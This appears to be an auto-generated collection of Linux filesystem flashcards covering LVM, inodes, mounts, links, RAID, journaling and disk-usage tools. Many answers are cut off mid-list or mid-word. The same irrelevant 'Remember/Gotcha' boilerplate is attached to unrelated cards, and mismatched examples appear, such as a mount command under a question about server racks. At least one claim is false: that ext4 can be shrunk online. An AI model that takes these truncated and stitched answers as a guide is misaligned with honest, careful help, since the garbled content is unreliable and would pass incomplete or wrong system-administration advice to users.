A: Use the <html><code>lvextend</code></html> command for resize LVM partition.
* extending the size by 500MB:
<html><pre><code class="language-bash">lvextend -L +500M /dev/vgroup/lvolume</code></pre></html>
* extending all available free space:
<html><pre><code class="language-bash">lvextend -l +100%FREE /dev/vgroup/lvolume</code></pre></html>
and <html><code>resize2fs</code></html> or <html><code>xfs_growfs</code></html> to resize filesystem:
* for ext filesystems:
<html><pre><code class="language-bash">resize2fs /dev/vgroup/lvolume</code></pre></html>
* for xfs filesystem:
<html><pre><code class="language-bash">xfs_growfs mountpoint_for_/dev/vgroup/lvolume</code></pre></html>
Remember: LVM: PV→VG→LV. "Disks→pool→partitions."
Example: <html><code>pvcreate /dev/sdb && vgcreate myvg /dev/sdb && lvcreate -L 10G -n mylv myvg</code></html>
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[LVM logical volumes and filesystems are separate layers; both must be extended]]
* [[LVM physical extents must be available; verify free space before extending volumes]]
* [[How do you safely expand a filesystem online?]]
Q: What is the difference between find and locate?
A: Both search for files but work differently:
find:
* Searches filesystem in real-time
* Slower but always current
* Flexible criteria (name, size, time, permissions)
* find /path -name "*.txt" -mtime -7
locate:
* Searches pre-built database
Example: <html><code>find /var/log -name '*.log' -mtime +30 -delete</code></html> — delete old logs.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What command finds files by name in a directory tree?]]
* [[How does `find -exec` work?]]
Q: Can you check what type of filesystem is used in /home?
A: There are many answers for this question. One way is running <html><code>df -T</code></html>
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What is the home directory subdirectory used for?]]
* [[What are you using for troubleshooting and debugging disk & file system issues?]]
* [[What does the /bin directory contain?]]
Q: True or False? You can create an hard link for a directory
A: False. Hard links to directories are not allowed on most Unix/Linux systems because they could create filesystem loops, making traversal (find, ls -R) ambiguous and potentially infinite.
Remember: Hard link = another dir entry→same inode. Delete original, link works. No cross-FS.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[True or False? Directories always have by minimum 2 links]]
* [[Hard links vs symbolic links: inode perspective]]
* [[What happens when you delete the original file in a soft link?]]
Q: Why would you want to mount servers in a rack?
A: - Protecting Hardware
* Proper Cooling
* Organized Workspace
* Better Power Management
* Cleaner Environment
Example: <html><code>mount -t ext4 /dev/sdb1 /mnt/data</code></html>. View: <html><code>mount | column -t</code></html> or <html><code>findmnt</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[Listing currently mounted filesystems (mount, findmnt)]]
* [[Mounting attaches a filesystem to the VFS directory tree]]
* [[What is a mount namespace used for in containers?]]
Q: How to extract the content of an archive?
A: Extraction depends on archive type:
tar archives:
* tar xvf archive.tar - Plain tar
* tar xvzf archive.tar.gz - Gzip compressed
* tar xvjf archive.tar.bz2 - Bzip2 compressed
* tar xvJf archive.tar.xz - XZ compressed
* tar xvf archive.tar -C /destination - Extract to specific dir
ZIP:
* unzip archive.zip
* unzip archive.zip -d /destination
7z:
* 7z x archive.7z
List contents without extracting:
* tar tvf archive.tar
* unzip -l archive.zip
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What is an archive? How do you create one in Linux?]]
* [[What is the difference between `tar` and `gzip`?]]
To check mounted filesystem disk usage in Linux, use <html><code>df -h</code></html>. The <html><code>-h</code></html> flag outputs sizes in human-readable units (KB, MB, GB). For each mounted filesystem, <html><code>df -h</code></html> displays total size, used space, available space, use percentage, and mount point.
To check space consumed by a specific directory or file, use <html><code>du -sh /path</code></html>. The <html><code>-s</code></html> flag summarises the total rather than listing every subdirectory; <html><code>-h</code></html> gives human-readable units.
''Key distinction:'' <html><code>df</code></html> reports on whole mounted filesystems; <html><code>du</code></html> reports on a directory tree rooted at a given path.
<html><code>man hier</code></html> documents the standard Linux directory hierarchy. Before editing any config file, back it up first: <html><code>cp file file.bak</code></html> — a single typo in files such as <html><code>/etc/fstab</code></html> or <html><code>/etc/sudoers</code></html> can lock you out of the system.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[What command shows inode usage per mounted filesystem?]]
* [[How do you find which directory is consuming the most inodes on a filesystem?]]
Q: What does the lsof command do? Have you used it? What for?
A: lsof (List Open Files) shows files opened by processes.
Use cases:
# Find what's using a file:
** lsof /var/log/syslog
# Find what's using a port:
** lsof -i :80
** lsof -i tcp:22
# Files opened by process:
** lsof -p PID
** lsof -c nginx
# Find deleted but held files:
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What does `lsof` do?]]
* [[lsof -i shows open network connections at process level]]
* [[You deleted an active log file (e.g. /var/log/apache2/access.log) but didn't restart th…]]
Q: System freezes for 30-60 seconds randomly. SSH hangs. No kernel panic. Why?
A: This is almost always block layer stalls causing D state process accumulation.
Root causes:
# Journal commit waits - ext4/XFS waiting for journal flush
# SAN timeouts - iSCSI/FC target not responding
# NFS hangs - server unreachable or slow
# Dying disk - controller retry storms
5.
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What are you using for troubleshooting and debugging disk & file system issues?]]
* [[A full filesystem makes the system unresponsive even though the kernel is running]]
Q: What is the home directory subdirectory used for?
A: It stores individual user files and settings.
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What is the purpose of /home?]]
* [[Can you check what type of filesystem is used in /home?]]
* [[What does the /bin directory contain?]]
Q: Bind mount vs symlink?
A: Bind mount mirrors a directory at the VFS level—works in chroots/containers.
Symlink is a path reference resolved during pathname lookup.
Remember: Symlink = path pointer. Target deleted→dangling. Can cross FS and link directories.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What is the difference between a bind mount and a regular mount?]]
Q: How does Linux handle deleted-but-open files?
A: When a file is deleted but still has open file descriptors, the directory entry is removed but disk space is NOT reclaimed until ALL file descriptors are closed.
The inode and data blocks remain allocated until reference count reaches zero.
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[How do you recover a deleted file still held open by a process?]]
* [[`df` vs `du`: filesystem-level vs directory-level disk usage]]
* [[What happens when you delete a hard link?]]
Run <html><code>mount</code></html> with no arguments to list all currently mounted filesystems, their mount points, types, and options. For a cleaner columnar view, pipe through <html><code>column -t</code></html>: <html><code>mount | column -t</code></html>. For a hierarchical tree view that shows the mount hierarchy alongside source device, filesystem type, and mount options, use <html><code>findmnt</code></html>. <html><code>/proc/mounts</code></html> can also be parsed directly for scripting purposes.
Common usage:
* <html><code>mount</code></html> — flat list of all active mounts
* <html><code>mount | column -t</code></html> — same, aligned in columns
* <html><code>findmnt</code></html> — tree view with source, fstype, and options
* <html><code>cat /proc/mounts</code></html> — raw kernel mount table
Example mount command (not a listing): <html><code>mount -t ext4 /dev/sdb1 /mnt/data</code></html> mounts an ext4 partition at <html><code>/mnt/data</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[You run the mount command but you get no output. How would you check what mounts you ha…]]
* [[What is /proc/mounts?]]
* [[Mounting attaches a filesystem to the VFS directory tree]]
Q: You deleted an active log file (e.g. /var/log/apache2/access.log) but didn't restart the process. The file appears gone with ls, but disk space isn't freed. How do you recover the space without restarting the service?
A: The process still holds the open file descriptor. The file is "deleted" from the directory but the inode and data blocks remain allocated until the file descriptor is closed.
Recovery steps:
* Run <html><code>lsof +L1</code></html> or <html><code>lsof | grep deleted</code></html> to find the PID and FD number
* Truncate the file via the proc filesystem: <html><code>truncate -s 0 /proc/<PID>/fd/<FD></code></html>
* Alternative: <html><code>: > /proc/<PID>/fd/<FD></code></html> to zero i
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[Deleted open files hold disk space until last fd closes]]
* [[How do you recover a deleted file still held open by a process?]]
* [[How do you diagnose and recover from a full filesystem?]]
Q: Describe the process of extending a filesystem/disk
A: Steps depend on setup (LVM vs direct partition):
With LVM:
# Add space to PV (if needed): pvresize /dev/sdb
# Extend LV: lvextend -L +10G /dev/vg/lv
# Resize filesystem:
** ext4: resize2fs /dev/vg/lv
** xfs: xfs_growfs /mountpoint
(Can do online for most filesystems)
Without LVM:
# Extend partition (risky, may need unmount)
** parted, fdisk, or growpart
2.
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[How do you safely expand a filesystem online?]]
* [[LVM physical extents must be available; verify free space before extending volumes]]
Q: In which path can you find the system devices (e.g. block storage)?
A: System devices are found in several locations:
# /dev - Device files (block and character devices)
** Block: /dev/sda, /dev/nvme0n1
** Created by udev dynamically
# /sys - Sysfs virtual filesystem
** /sys/block/ - Block devices
** /sys/class/ - Device classes
** /sys/devices/ - Device hierarchy
# /proc - Process and system info
** /proc/devices - Registered devices
** /proc/partitions - Partition table
Commands: lsblk, blkid, ls /sys/block/
Example: <html><code>find /var/log -name '*.log' -mtime +30 -delete</code></html> — delete old logs.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[How do you find the UUID of a block device?]]
* [[What is /sys/block/?]]
* [[What is /sys/devices/?]]
Q: You run the mount command but you get no output. How would you check what mounts you have on your system?
A: <html><code>cat /proc/mounts</code></html> shows all mounted filesystems even when the <html><code>mount</code></html> command produces no output. Alternatives: <html><code>findmnt</code></html> (tree view), <html><code>mount | column -t</code></html> (tabular), or <html><code>df -hT</code></html> (with filesystem types and sizes).
Gotcha: <html><code>/proc/mounts</code></html> is a symlink to <html><code>/proc/self/mounts</code></html> and shows the mount namespace of the calling process.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[Listing currently mounted filesystems (mount, findmnt)]]
* [[What is /proc/mounts?]]
* [[Mounting attaches a filesystem to the VFS directory tree]]
Q: Tell me about the dangers and caveats of LVM.
A: ''Risks of using LVM''
* Vulnerable to write caching issues with SSD or VM hypervisor
* Harder to recover data due to more complex on-disk structures
* Harder to resize filesystems correctly
* Snapshots are hard to use, slow and buggy
* Requires some skill to configure correctly given these issues
Remember: LVM: PV→VG→LV. "Disks→pool→partitions."
Example: <html><code>pvcreate /dev/sdb && vgcreate myvg /dev/sdb && lvcreate -L 10G -n mylv myvg</code></html>
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[To LVM or not to LVM. What benefits does it provide?]]
* [[LVM (Logical Volume Manager) in Linux]]
* [[LVM three-layer abstraction: PV → VG → LV]]
<html><code>/proc</code></html> (procfs) is a virtual filesystem mounted at <html><code>/proc</code></html> that exposes kernel and process information as browsable files. It contains no actual data on disk — the kernel generates file content dynamically at read time. As a result, most entries appear as zero bytes in size even though they yield real data when read.
Typical contents include per-process directories (named by PID), CPU and memory statistics, kernel parameters, and hardware details. Because the files are synthetic, reading <html><code>/proc</code></html> imposes no I/O on storage devices.
A related virtual filesystem, <html><code>/sys</code></html>, serves a distinct purpose: it exposes device and driver configuration rather than process or general kernel state. Neither <html><code>/proc</code></html> nor <html><code>/sys</code></html> consumes disk space.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[What is /proc/sys/?]]
* [[/proc exposes process details to unprivileged visibility by default]]
* [[True or False? only root can create files in /proc]]
A file descriptor (FD, sometimes fildes or file handler) is an abstract indicator — represented as a non-negative integer — used by the operating system to identify and access an open file or other I/O resource, such as a pipe or network socket. File descriptors are part of the POSIX API.
Every process inherits three standard file descriptors by default:
* ''0'' — stdin: default data stream for input
* ''1'' — stdout: default data stream for output
* ''2'' — stderr: default data stream for error output
When a process opens a file or resource, the kernel returns the lowest available FD number, which the process then uses in subsequent read, write, and close calls. Because FDs are per-process abstractions, the same integer in two different processes refers to different underlying resources.
Note: <html><code>man hier</code></html> covers the directory hierarchy; back up config files before editing (<html><code>cp file file.bak</code></html>) to avoid accidental lockouts.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What does `fs.file-max` control?]]
* [[What does the following block do?:]]
* [[How do you find the open file descriptors and file descriptor count for a running process?]]
Q: Filesystem reports clean, RAID reports clean, but application data is corrupted. How is this possible?
A: Traditional filesystems and RAID don't protect against silent data corruption.
Root causes:
# Bit rot - random bit flips in storage media
# DMA errors - data corrupted during transfer
# Bad RAM - corruption before data reaches disk
# Write cache without battery backup - partial writes on power loss
5.
Remember: 0=stripe, 1=mirror, 5=parity(min 3), 10=mirror+stripe. "0=Speed, 1=Mirror, 5=Parity."
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[Why can Btrfs/ZFS still corrupt data even with checksums?]]
* [[Storage I/O errors masquerade as application problems; check dmesg and SMART first]]
* [[Why should you never use btrfs RAID5 or RAID6 for data you care about?]]
Q: True or False? You can create a soft link between different filesystems.
A: TRUE.
Soft links (symbolic links):
* Can cross filesystem boundaries
* Just a file containing a path
* Works across partitions, NFS, etc.
* ln -s /mnt/disk2/file /home/user/link
Hard links:
* CANNOT cross filesystem boundaries
* Share same inode
* Must be on same filesystem
* ln /path/file /path/hardlink
This is a key difference between soft and hard links.
Remember: Symlink = path pointer. Target deleted→dangling. Can cross FS and link directories.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[Hard links and soft links have different survival semantics across filesystem boundaries]]
* [[What happens when you delete the target of a symbolic link?]]
* [[Symlinks consume inodes independent of target size]]
Q: What is lazy umount in Linux and when would you use it?
A: Lazy umount (umount -l) detaches filesystem immediately but cleans up when no longer busy.
Normal umount fails if filesystem is busy (files open, processes using it).
Lazy umount:
* Immediately removes from namespace
* New processes can't access
* Existing file handles continue working
* Actually unmounts when all references close
Usage: umount -l /mnt/stuck
Example: <html><code>mount -t ext4 /dev/sdb1 /mnt/data</code></html>. View: <html><code>mount | column -t</code></html> or <html><code>findmnt</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Mounting attaches a filesystem to the VFS directory tree]]
* [[What is the difference between hard and soft NFS mount options?]]
* [[When would you remount a filesystem read-only on a running system, and how?]]
Q: Why do we need package managers? Why not simply creating archives and publish them?
A: Package managers allow you to manage packages lifecycle as in installing, removing and updating the packages.
In addition, you can specify in a spec how a certain package will be installed - where to copy the files, which commands to run prior to the installation, post the installation, etc.
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What is a Linux "package manager"?]]
* [[Linux package management: RPM and DEB ecosystems]]
Q: Describe three different ways to remove a file or directory
A: Multiple methods to remove files/directories:
# rm command:
** rm file - Remove file
** rm -r directory - Remove directory recursively
** rm -rf directory - Force remove without prompts
# unlink command:
** unlink file - Remove single file
** Cannot remove directories
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[`rm` vs `rm -rf`: behavior and dangers]]
* [[What command removes an empty directory?]]
* [[What is the easiest, safest and most portable way to remove `-rf` directory entry?]]
Q: Why can Btrfs/ZFS still corrupt data even with checksums?
A: Checksums only detect corruption after it happens - they can't prevent all corruption paths.
Corruption vectors that bypass checksums:
# Bad memory before checksum calculation
** Data corrupted in RAM before ZFS/Btrfs sees it
** Checksum calculated on already-bad data
** ECC memory is the only fix
2.
Remember: ext4=default/mature. XFS=RHEL/large files. Btrfs=COW/snapshots/compression.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[When would you choose Btrfs?]]
* [[Filesystem reports clean, RAID reports clean, but application data is corrupted. How is…]]
Q: What causes sudden disk full with "no files"?
A: Several possibilities when <html><code>df</code></html> shows full but <html><code>du</code></html> shows less:
# ''Deleted-but-open files'': Most common. <html><code>lsof +L1</code></html> to find.
# ''Inode exhaustion'': <html><code>df -i</code></html> - millions of tiny files can exhaust inodes before space.
# ''Journal growth'': ext4/XFS journals can grow large.
# ''Reserved blocks'': ext4 reserves 5% for root by default (<html><code>tune2fs -m</code></html>).
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[How do you diagnose and recover from a full filesystem?]]
* [[`df` vs `du`: filesystem-level vs directory-level disk usage]]
* [[Deleted open files hold disk space until last fd closes]]
RAID (Redundant Array of Independent/Inexpensive Disks) combines multiple disks to increase performance and/or reliability of data storage.
* ''RAID 0'' (Striping): Breaks files and spreads data across all drives in the array. Maximum performance, but zero redundancy — any single drive failure loses all data.
* ''RAID 1'' (Mirroring): Writes identical data to two disks simultaneously. Survives one drive failure; capacity equals one disk.
* ''RAID 5'' (Striping with parity): Distributes data and a single parity block across all drives. Minimum 3 disks; survives one drive failure.
* ''RAID 6'' (Double parity): Like RAID 5 but with two independent parity blocks. Minimum 4 disks; survives two simultaneous drive failures.
* ''RAID 10'' (Mirror + Stripe): Mirrors pairs of drives, then stripes across the pairs. Combines the performance of RAID 0 with the redundancy of RAID 1.
Mnemonic: 0 = Speed, 1 = Mirror, 5 = Parity (min 3), 10 = Mirror + Stripe.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What is RAID 0?]]
* [[What is RAID 10?]]
* [[What is RAID 5?]]
Q: What is an inode? How to find file's inode number and how can you use it?
A: An ''inode'' is a data structure on a filesystem on Linux and other Unix-like operating systems that stores all the information about a file except its name and its actual data. A data structure is a way of storing data so that it can be used efficiently.
Remember: Inode = metadata (perms, size, timestamps, blocks) but NOT filename.
Gotcha: Out of inodes before disk space with millions of tiny files. Check: <html><code>df -i</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
//Merged from 6 source atoms.//
''Related atoms''
* [[What is inode exhaustion?]]
* [[Inode exhaustion prevents file creation despite free disk space]]
* [["No space left on device" may mean inode exhaustion, not full blocks]]
Q: Which of the following is not included in inode:
A: File name (it's part of the directory file)
Remember: Inode = metadata (perms, size, timestamps, blocks) but NOT filename.
Gotcha: Out of inodes before disk space with millions of tiny files. Check: <html><code>df -i</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[When is an inode's data actually freed on a Linux filesystem?]]
* [[What is an inode, and what does it store?]]
* [[What is inode exhaustion?]]
Q: What command shows inode usage per mounted filesystem?
A: <html><code>df -i</code></html> — shows inode usage (total, used, free, percentage) per mounted filesystem. When inode usage hits 100%, you can't create new files even if disk space remains.
Remember: Inode = metadata (perms, size, timestamps, blocks) but NOT filename.
Gotcha: Out of inodes before disk space with millions of tiny files. Check: <html><code>df -i</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[When is an inode's data actually freed on a Linux filesystem?]]
* [[Check disk/filesystem usage with df and du]]
* [[What is inode exhaustion?]]
Q: How do you display the inode number of a file?
A: Use ls -i filename or stat filename.
Remember: Inode = metadata (perms, size, timestamps, blocks) but NOT filename.
Gotcha: Out of inodes before disk space with millions of tiny files. Check: <html><code>df -i</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What fields are stored in an inode?]]
* [[When is an inode's data actually freed on a Linux filesystem?]]
* [[What is an inode, and what does it store?]]
Q: How do you find which directory is consuming the most inodes on a filesystem?
A: find / -xdev -printf '%h
' | sort | uniq -c | sort -rn | head — this counts files per directory, staying on the same filesystem (-xdev), and shows the top offenders.
Remember: Inode = metadata (perms, size, timestamps, blocks) but NOT filename.
Gotcha: Out of inodes before disk space with millions of tiny files. Check: <html><code>df -i</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[Check disk/filesystem usage with df and du]]
* [[When is an inode's data actually freed on a Linux filesystem?]]
* [[`df` vs `du`: filesystem-level vs directory-level disk usage]]
ext4 is the mature, general-purpose default: well-tested, supports both online grow and shrink, and has a maximum volume size of 1 EB. XFS excels at large files and parallel I/O, making it the preferred choice for large-scale storage (100 TB+), high-throughput workloads, and RHEL deployments. XFS can only grow, never shrink. Btrfs is a modern copy-on-write (COW) filesystem that adds snapshots, per-block checksumming, transparent compression, and built-in RAID; however, its RAID 5/6 implementation remains experimental and it is less proven in production than the other two.
Decision heuristic:
* ''ext4'': default choice, general-purpose, simpler recovery, mature tooling.
* ''XFS'': large files, databases, media, logs, parallel I/O, very large filesystems; accept the no-shrink constraint.
* ''Btrfs'': snapshots, compression, or checksumming are required and the COW overhead and RAID caveats are acceptable.
Mnemonic: ext4 = default/mature; XFS = RHEL/large files; Btrfs = COW/snapshots/compression.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[When to choose XFS for data drives]]
* [[When would you choose Btrfs?]]
The <html><code>/etc</code></html> directory holds host-specific system configuration files maintained by administrators. All contents should be text files — no binaries. Representative examples: <html><code>/etc/fstab</code></html> (filesystem mount table), <html><code>/etc/passwd</code></html> (user account database), <html><code>/etc/ssh/sshd_config</code></html> (SSH daemon settings).
Because a single typo in a critical config file can prevent login or break services, back up any file before editing: <html><code>cp file file.bak</code></html>. The full Linux directory hierarchy is documented in <html><code>man hier</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[In Linux FHS (Filesystem Hierarchy Standard) what is the /?]]
* [[What is the home directory subdirectory used for?]]
* [[/etc/skel — skeleton directory for new user home setup]]
Q: What happens when you delete the original file in a soft link?
A: The soft link becomes a "dangling" or "broken" link.
Behavior:
* The symlink file still exists
* It points to a non-existent path
* Accessing it gives "No such file or directory"
* ls -l shows the link in red (broken)
Example:
* ln -s /tmp/original /tmp/link
* rm /tmp/original
* cat /tmp/link → Error: No such file or directory
With hard links: File data persists until ALL hard links are deleted (reference counting via inode link count).
Remember: Symlink = path pointer. Target deleted→dangling. Can cross FS and link directories.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[True or False? You can create an hard link for a directory]]
* [[Symlinks consume inodes independent of target size]]
* [[How to recover deleted file held open e.g. by Apache?]]
Q: In Linux FHS (Filesystem Hierarchy Standard) what is the /?
A: In the Linux Filesystem Hierarchy Standard (FHS), <html><code>/</code></html> is the root directory — the top of the entire filesystem tree. All other directories branch from it. Key subdirectories: <html><code>/etc</code></html> (configuration), <html><code>/var</code></html> (variable data and logs), <html><code>/tmp</code></html> (temporary files), <html><code>/opt</code></html> (third-party software), <html><code>/home</code></html> (user directories), <html><code>/usr</code></html> (user programs).
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What is the FHS?]]
* [[/etc directory purpose and conventions]]
* [[What is the home directory subdirectory used for?]]
Q: You are trying to create a new file but you get "File system is full". You check with df and find there's free space. What could be the issue?
A: The filesystem likely ran out of inodes, not disk space.
Cause:
* Each file requires an inode (metadata structure)
* Inodes are fixed at filesystem creation
* Many small files can exhaust inodes before space
Diagnosis:
* df -i - Shows inode usage
* Look for IUse% near 100%
Solutions:
Remember: <html><code>df -h</code></html>=sizes, <html><code>df -i</code></html>=inodes. "df = Disk Free."
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [["No space left on device" may mean inode exhaustion, not full blocks]]
* [[What causes sudden disk full with "no files"?]]
* [[Inode exhaustion prevents file creation despite free disk space]]
ext3 and ext4 support three journaling modes, selected via the <html><code>data=</code></html> mount option:
* ''<html><code>data=journal</code></html>'' — both file data and metadata are written to the journal before being committed to the filesystem. Safest against corruption; slowest due to double-write overhead.
* ''<html><code>data=ordered</code></html>'' (default) — only metadata is journaled. File data is flushed to disk //before// the associated metadata is committed to the journal, preserving consistency without journaling data blocks directly. Balances safety and performance.
* ''<html><code>data=writeback</code></html>'' — only metadata is journaled. Data writes are not ordered relative to metadata commits, so data blocks may be written before or after the journal entry. Fastest; least safe — a crash can expose stale data in newly allocated blocks.
The default (<html><code>ordered</code></html>) is the standard choice for general-purpose use. <html><code>journal</code></html> mode is rarely used due to performance cost. <html><code>writeback</code></html> is sometimes chosen for performance-sensitive workloads where data integrity is handled at a higher layer (e.g., databases with their own journaling).
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Filesystem mount options control durability guarantees; databases need explicit sync or journal]]
* [[ext4 vs XFS vs Btrfs: filesystem comparison]]
Q: Explain dirty pages and writeback in Linux
A: Dirty pages are memory pages modified but not yet written to disk.
''How it works'':
* Writes go to page cache first (fast)
* Kernel marks pages "dirty"
* Background writeback flushes to disk asynchronously
* Sync forces immediate flush
''Key tunables'' (<html><code>/proc/sys/vm/</code></html>):
* <html><code>dirty_background_ratio</code></html>: Start background writeback at this % of memory (default 10%)
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[Why is fsync() one of the most dangerous syscalls?]]
* [[Page cache can be safely dropped for benchmarking]]
* [[Core sysctl parameters control memory overcommit, swapping, reclaim, and OOM behavior]]
Q: What does the /bin directory contain?
A: Essential binary commands needed to boot the system.
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What is the purpose of /bin?]]
* [[What is the home directory subdirectory used for?]]
* [[Can you check what type of filesystem is used in /home?]]
Q: Explain differences between <html><code>2>&-</code></html>, <html><code>2>/dev/null</code></html>, <html><code>|&</code></html>, <html><code>&>/dev/null</code></html>, and <html><code>>/dev/null 2>&1</code></html>.
A: - a ''number 1'' = standard out (i.e. <html><code>STDOUT</code></html>)
* a ''number 2'' = standard error (i.e. <html><code>STDERR</code></html>)
* if a number isn't explicitly given, then ''number 1'' is assumed by the shell (bash)
First let's tackle the function of these.
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
